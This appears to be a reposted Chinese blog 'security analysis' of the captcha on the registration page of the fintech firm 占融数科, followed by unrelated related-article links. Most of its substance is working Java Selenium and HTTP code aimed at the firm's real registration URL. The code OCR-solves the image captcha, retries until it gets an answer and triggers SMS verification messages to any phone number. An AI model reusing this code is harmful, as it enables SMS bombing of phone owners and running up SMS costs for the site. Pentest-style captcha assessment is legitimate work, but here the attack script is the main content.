【占融数科-注册/登录安全分析报告】

前言

由于网站注册入口容易被黑客攻击，存在如下安全问题：

  1. 暴力破解密码，造成用户信息泄露
  2. 短信盗刷的安全问题，影响业务及导致用户投诉
  3. 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析

一、 占融数科PC 注册入口

简介：占融数科（占融数科）成立于2025年之前，核心定位为数字金融服务平台，服务对象包括银行、持牌消费金融公司、保险公司等金融机构。其业务覆盖智能营销、风控、贷中监控、贷后管理等全流程，并提供资产对接、系统实施等配套服务。

在这里插入图片描述

在这里插入图片描述

安全分析：
采用传统的图形验证码方式，具体为4个英文及数字,ocr 识别率在 95% 以上。
 
测试方法：
采用模拟器+OCR识别

1 模拟器交互部分


private OcrClientDddd ddddOcr = new OcrClientDddd();private static String INDEX_URL = "https://zhanrong.rong360.com/site/index/register";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);Thread.sleep(1 * 1000);// 1 输入手机号Thread.sleep(1 * 1000);WebElement phoneElement = ChromeUtil.waitElement(driver, By.xpath("//input[@placeholder='联系电话']"), 1);phoneElement.sendKeys(phone);// 2 获取图形验证码// 2 获取图形验证码String imgCode = null;WebElement imgElement;byte[] imgByte;StringBuffer imgCodeList = new StringBuffer();for (int i = 0; i < 10; i++) {imgElement = driver.findElement(By.xpath("//img[contains(@src,'/account/vcode?v=')]"));String url = imgElement.getAttribute("src");imgByte = GetImage.callJsByUrl(driver, url);int len = (imgByte != null) ? imgByte.length : 0;imgCode = (len > 500) ? ddddOcr.getImgCode(imgByte) : null;if (imgCode == null || imgCode.length() != 4) {((JavascriptExecutor) driver).executeScript("arguments[0].click();", imgElement);Thread.sleep(1000);// 记录尝试次数及解析验证码if (imgCodeList.length() > 0)imgCodeList.append(",");imgCodeList.append(i + ":" + imgCode);continue;}break;}if (imgCode == null || imgCode.length() != 4) {retEntity.setMsg(imgCodeList.toString());return retEntity;}// 3 输入识别出来的图形验证码WebElement inputVcodeElement = driver.findElement(By.xpath("//input[@placeholder='图形验证码']"));inputVcodeElement.sendKeys(imgCode);// 4 点击获取验证码Thread.sleep(1 * 1000);WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));sendElement.click();Thread.sleep(1 * 1000);String gtInfo = sendElement.getText();retEntity.setMsg("imgCode:" + imgCode + "->" + gtInfo);if (gtInfo != null && gtInfo.contains("s后重新获取")) {retEntity.setRet(0);return retEntity;}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {driver.manage().deleteAllCookies();}}

2 获取图形验证码


public String getImgCode(byte[] bigImage) {try {if (ddddUrl == null) {System.out.println("getImgCode() ddddUrl=" + ddddUrl);return null;}int len = (bigImage != null) ? bigImage.length : -1;if (len < 0) {System.out.println("getImgCode() len=" + len);return null;}long time = (new Date()).getTime();HttpURLConnection con = null;String boundary = "----------" + String.valueOf(time);String boundarybytesString = "\r\n--" + boundary + "\r\n";OutputStream out = null;URL u = new URL(ddddUrl);con = (HttpURLConnection) u.openConnection();con.setRequestMethod("POST");con.setConnectTimeout(10 * 1000);con.setReadTimeout(10 * 1000);con.setDoOutput(true);con.setDoInput(true);con.setUseCaches(true);con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);out = con.getOutputStream();out.write(boundarybytesString.getBytes("UTF-8"));String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";paramString += "Content-Type: application/octet-stream\r\n\r\n";out.write(paramString.getBytes("UTF-8"));out.write(bigImage);String tailer = "\r\n--" + boundary + "--\r\n";out.write(tailer.getBytes("UTF-8"));out.flush();out.close();StringBuffer buffer = new StringBuffer();BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));String temp;while ((temp = br.readLine()) != null) {buffer.append(temp);}String ret = buffer.toString();if (ret.length() < 1) {System.out.println("getImgCode() ddddUrl=" + ddddUrl + ",len=" + len + "->ret=" + buffer.toString());}return buffer.toString();} catch (Throwable e) {logger.error("getImgCode() ddddUrl=" + ddddUrl + ",e=" + e.toString());return null;}}

3 测试返回结果：

在这里插入图片描述

4 测试报告 ：

在这里插入图片描述

二丶结语

占融数科（占融数科）成立于2025年之前，核心定位为数字金融服务平台，服务对象包括银行、持牌消费金融公司、保险公司等金融机构。其业务覆盖智能营销、风控、贷中监控、贷后管理等全流程，并提供资产对接、系统实施等配套服务。
作为金融风控服务商，技术实力雄厚， 采用的却还是老一代的图形验证码已经落伍了， 用户体验一般，容易被破解， 一旦被国际黑客发起攻击，将会对老百姓形成骚扰，影响声誉。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

戳这里→康康你手机号在过多少网站注册过！！！

谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.pswp.cn/diannao/84224.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

记录一次请求数据很慢的灾难

记录一次请求数据很慢的灾难

起因&#xff1a; 因公司业务需要&#xff0c;对接了一个平台的 api。对接完成之后&#xff0c;发现只要打开开关&#xff0c;就别的接口就访问很慢&#xff0c;出现 gatway time out。 排查&#xff1a; 先看下主服务器和 slave 服务器的状态&#xff1a; 主服务&#xff…
阅读更多...
力扣-将x减到0的最小操作数

力扣-将x减到0的最小操作数

1.题目描述 2.题目链接 1658. 将 x 减到 0 的最小操作数 - 力扣&#xff08;LeetCode&#xff09; 3.题目分析 1&#xff09;正面求解困难 题目要求我们每次都从最左边或者最右边取一个数&#xff0c;使x-元素的值&#xff0c;并在数组中移除该元素。最后返回的最小操作数…
阅读更多...
排序复习/上（C语言版）

排序复习/上（C语言版）

目录 1.排序概念 2.冒泡排序 效率性能测试代码&#xff1a; 性能分析&#xff1a; 3.直接插入排序 单趟&#xff1a; 整体&#xff1a; 性能分析&#xff1a; 4.希尔排序&#xff08;基于插入排序的优化&#xff09; 单趟单组&#xff1a; 单趟多组&#xff1a; 降低…
阅读更多...
程序编辑器快捷键总结

程序编辑器快捷键总结

程序编辑器快捷键总结 函数跳转 函数跳转 Creator : F2VSCode : F12visual Studio : F12
阅读更多...
【LUT技术专题】极小尺寸LUT算法：TinyLUT

【LUT技术专题】极小尺寸LUT算法：TinyLUT

TinyLUT: Tiny Look-Up Table for Efficient Image Restoration at the Edge&#xff08;2024 NeurIPS&#xff09; 专题介绍一、研究背景二、TinyLUT方法2.1 Separable Mapping Strategy2.2 Dynamic Discretization Mechanism 三、实验结果四、总结 本文将从头开始对TinyLUT: …
阅读更多...
解决：VMware 虚拟机 Ubuntu 系统共享文件夹无法访问问题

解决：VMware 虚拟机 Ubuntu 系统共享文件夹无法访问问题

以下是解决 VMware 虚拟机 Ubuntu 系统共享文件夹无法访问 问题的完整过程总结&#xff0c;按关键步骤和逻辑顺序梳理&#xff1a; 系统版本&#xff1a;Ubuntu 22.04.5 1. 确认 VMware Tools 已安装 验证方法&#xff1a;通过 ps -ef | grep vmtoolsd 检查是否存在 vmtools…
阅读更多...
YOLOv8 的双 Backbone 架构：解锁目标检测新性能

YOLOv8 的双 Backbone 架构：解锁目标检测新性能

一、开篇&#xff1a;为何踏上双 Backbone 探索之路 在目标检测的领域中&#xff0c;YOLOv8 凭借其高效与精准脱颖而出&#xff0c;成为众多开发者和研究者的得力工具。然而&#xff0c;传统的单 Backbone 架构&#xff0c;尽管已经在诸多场景中表现出色&#xff0c;但仍存在一…
阅读更多...
k8s网络架构

k8s网络架构

Kubernetes 网络架构的设计目标是为 Pod 提供一个高效、灵活且可扩展的网络环境&#xff0c;同时确保 Pod 之间的通信简单直接&#xff0c;类似于在同一个物理网络中。以下是 Kubernetes 网络架构的原理和核心组件的详细解析&#xff1a; 一、Kubernetes 网络模型的基本原则 Ku…
阅读更多...
C++高频面试考点 -- 智能指针

C++高频面试考点 -- 智能指针

C高频面试考点 – 智能指针 C11中引入智能指针的概念&#xff0c;方便堆内存管理。这是因为使用普通指针&#xff0c;容易造成堆内存泄漏&#xff0c;二次释放&#xff0c;程序发生异常时内存泄漏等问题。 智能指针在C11版本之后提供&#xff0c;包含在头文件<memory>中…
阅读更多...
JavaScript关键字完全解析：从入门到精通

JavaScript关键字完全解析：从入门到精通

前言 JavaScript作为目前最流行的编程语言之一&#xff0c;拥有丰富的关键字体系。这些关键字是语言的基础组成部分&#xff0c;理解它们的含义和用法对于掌握JavaScript至关重要。本文将详细介绍JavaScript中的所有关键字&#xff0c;包括ES6的新增关键字&#xff0c;帮助开发…
阅读更多...
#6 百日计划第六天 java全栈学习

#6 百日计划第六天 java全栈学习

今天学的啥 上午 算法byd图论 图遍历dfs bfs 没学懂呵呵 找到两个良心up 图码 labuladong 看算法还好 尚硅谷讲的太浅了 那你问我 下午呢 下午 java 看了会廖雪峰的教程 回顾基础 小林coding Java基础八股文 还有集合的八股文 有的不是很懂 今天把Java基础算是完…
阅读更多...
（4）ModalAI VOXL

（4）ModalAI VOXL

文章目录 前言 4.1 购买什么 4.2 硬件设置 4.3 VOXL 摄像机配置 4.4 自动驾驶仪配置 4.4.1 使用 OpticalFlow 进行 EKF3 光源转换 4.5 视频 前言 本文介绍了如何将 ModalAI VOXL-CAM 与 ArduPilot 配合使用&#xff0c;以替代 GPS&#xff0c;从而实现 Loiter、PosHold…
阅读更多...
大模型高效微调方法综述：P-Tuning软提示与lora低秩微调附案例代码详解

大模型高效微调方法综述：P-Tuning软提示与lora低秩微调附案例代码详解

Prompt Tuning 和 P-Tuning 都属于“软提示”&#xff08;soft prompt&#xff09;范式&#xff0c;但 P-Tuning 首次提出用小型 LSTM/MLP 对提示嵌入进行编码生成&#xff0c;而 Prompt Tuning&#xff08;又称 Soft Prompt Tuning&#xff09;则直接对一段可训练的嵌入序列做…
阅读更多...
图解深度学习 - 深度学习的工作原理

图解深度学习 - 深度学习的工作原理

上一篇&#xff0c;我们已经知道机器学习是将输入&#xff08;比如图像&#xff09;映射到目标&#xff08;比如数字“4”&#xff09;的过程。这一过程是通过观察许多输入和目标的示例来完成的。 我们还知道&#xff0c;深度神经网络通过一系列简单的数据变换&#xff08;层&…
阅读更多...
实现图片自动压缩算法，canvas压缩图片方法

实现图片自动压缩算法，canvas压缩图片方法

背景&#xff1a; 在使用某些支持webgl的图形库&#xff08;eg&#xff1a;PIXI.js&#xff0c;fabric.js&#xff09;场景中&#xff0c;如果加载的纹理超过webgl可处理的最大纹理限制&#xff0c;会导致渲染的纹理缺失&#xff0c;甚至无法显示。 方案 实现图片自动压缩算…
阅读更多...
周界安全防护新突破：AI智能分析网关V4周界入侵检测算法的技术应用

周界安全防护新突破：AI智能分析网关V4周界入侵检测算法的技术应用

一、方案概述 在安防周界防护领域&#xff0c;传统红外对射、电子围栏等防护系统弊端显著&#xff0c;其误报率高&#xff0c;易受飞鸟、树枝等干扰&#xff0c;且在恶劣天气、复杂光照下难以精准识别入侵。随着安全需求升级&#xff0c;基于AI智能分析网关V4的周界翻越入侵检…
阅读更多...
解决服务器重装之后vscode Remote-SSH无法连接的问题

解决服务器重装之后vscode Remote-SSH无法连接的问题

在你的windows命令窗口输入&#xff1a; ssh-keygen -R 服务器IPssh-keygen 不是内部或外部命令 .找到Git(安装目录)/usr/bin目录下的ssh-keygen.exe(如果找不到&#xff0c;可以在计算机全局搜索) 2.属性–>高级系统设置–>环境变量–>系统变量,找到Path变量&#…
阅读更多...
leetcode 33. Search in Rotated Sorted Array

leetcode 33. Search in Rotated Sorted Array

题目描述 可以发现的是&#xff0c;将数组从中间分开成左右两部分的时候&#xff0c;一定至少有一部分的数组是有序的。左部分[left,mid-1]&#xff0c;右部分[mid1,right]。 第一种情况&#xff1a;左右两部分都是有序的&#xff0c;说明nums[mid]就是整个数组的最大值。此时…
阅读更多...
推荐一款滴滴团队开源流程图编辑框架logic-flow

推荐一款滴滴团队开源流程图编辑框架logic-flow

LogicFlow 是一款基于 JavaScript 的流程图编辑框架&#xff0c;提供直观的可视化界面&#xff0c;帮助用户轻松创建、编辑和管理复杂的工作流、业务逻辑或流程模型。其核心优势在于低代码化、高度可定制和强交互性&#xff0c;适用于业务系统开发、BPMN 流程设计、决策树建模等…
阅读更多...
java 进阶 1.0.3

java 进阶 1.0.3

Thread API说明 自己滚去看文档 CPU线程调度 每一个线程的优先使用权都是系统随机分配的&#xff0c;人人平等 谁先分配到就谁先用 也可以耍赖&#xff0c;就是赋予某一个线程拥有之高使用权&#xff1a;优先级 这样的操作就叫做线程调度 最基本的是系统轮流获得 java的做法是抢…
阅读更多...
最新文章

Copyright @ 2022~2023